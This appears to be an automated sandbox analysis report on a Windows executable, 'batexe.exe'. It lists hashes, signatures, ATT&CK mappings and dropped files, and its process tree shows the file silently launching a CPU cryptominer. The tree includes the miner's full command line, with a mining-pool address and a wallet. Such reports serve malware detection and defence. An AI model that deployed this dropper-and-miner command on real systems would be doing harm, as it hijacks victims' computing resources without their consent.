73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12-02-2024 14:13

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
916	b2e.exe
4468	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3276-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 916	3276	batexe.exe	73
PID 3276 wrote to memory of 916	3276	batexe.exe	73
PID 3276 wrote to memory of 916	3276	batexe.exe	73
PID 916 wrote to memory of 404	916	b2e.exe	74
PID 916 wrote to memory of 404	916	b2e.exe	74
PID 916 wrote to memory of 404	916	b2e.exe	74
PID 404 wrote to memory of 4468	404	cmd.exe	77
PID 404 wrote to memory of 4468	404	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Users\Admin\AppData\Local\Temp\ABB1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\ABB1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\ABB1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B035.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:404
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ABB1.tmp\b2e.exe

Filesize
768KB

MD5
41acb3c7c35169437c8e50c36e39f5a5

SHA1
6b7a95c8fb404247edb7430b46e931495eeba0d1

SHA256
77003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a

SHA512
670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145

Download Submit
C:\Users\Admin\AppData\Local\Temp\ABB1.tmp\b2e.exe

Filesize
779KB

MD5
48c762edc3b7511e329af532b3a30988

SHA1
8b735e596b9ba573d3fa856209f286f216b9d9e5

SHA256
7a33cc85d08db531082a1aaa277e0373be9ff574959f6a31c6cb45b7204a2635

SHA512
6b052526f3226d324ec8cc530611f3ab49ad59b95ffecb33d1833a807213b534088dfcda388f3d710bf0130e4075882fdd8ca6b4f4e1c8cf9e026f0ffcde6685

Download Submit
C:\Users\Admin\AppData\Local\Temp\B035.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
d11e530990248364f4043aa356c1b34a

SHA1
57eaf304aaaafba8c9055aec8b8431a2322ca38a

SHA256
f146f0d87c27e332c584abba6276f44d78abdc246272b063fbe0e55516d500e8

SHA512
fc4c692b860f5391f6fccb6e1c9047e01481f7fcc1fff3a54f3dcfeea5f12e9d45a35b96958cb5304083c1b6b0a9c4f431434b302f0aea6e79a01980a26a8b1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
d78566bf3377c278309674eada11d4ff

SHA1
4514a133b2a3812fb8f46f90898b2817dd658c35

SHA256
3b088e53d13b8522c3d28c370903f59b5768a1e9e0ca01ed986188bbd6ba57d1

SHA512
42d4368bb20f5c7566cd0272f03d2bc7fb3524b97a7a025532e31e31afe2f4001f191022627823e0035bf2dd23b64ef68b2d2f263b59dc738138ba6ae395d3dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
86c1c3862595ad7cf30d90c73f7320ee

SHA1
ff04036f658eab66adb7237d7321e72668449173

SHA256
05c63880d1eed4da0cb578d171bd38879456a058f9b6e29244bf0a793fd498d0

SHA512
973812ef672d6d5eae865103ad849624504d2b776a38ef4d4217aeee3ddd4bae4c623bfe5c99c289d435e4a74d3a49b9c65fd6bf5384d9ddc361344be332e8d7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
04d4177f52d1120a765608d1f1157837

SHA1
cd1acd95eea03baf8433cd7b8a04a4da1dcde765

SHA256
9efc3588bc3cda11cc9a1be4eee6cabaa3a699d6fafe5e6b041ea3c8eea913b3

SHA512
f7f701724336377fa87ce502ea2c82d37c8e13230b7c8d9caa56f7498625dbbd201212df2e5b5498d5a6c690a4e0e2f98808566246198e847dd460edca615ed1

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
db05e0b676d0f1a957f2bb92678ea68f

SHA1
5c4e8d37c52ffc14c7864457bd86754dee037e11

SHA256
e2087f6bad29d3d9e7173da66b5269939fbe67f5376ec803aba04ce46a1937d6

SHA512
f99bf744fac754a6bda047f926f33fbfd25081747d946e9ede415d540309d23621303b59071380a9a3e2888007eed87fce872221384749d061c5f3343b8d892c

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/916-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/916-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3276-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4468-42-0x00000000765D0000-0x0000000076668000-memory.dmp

Filesize
608KB

Download
memory/4468-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4468-44-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/4468-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4468-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download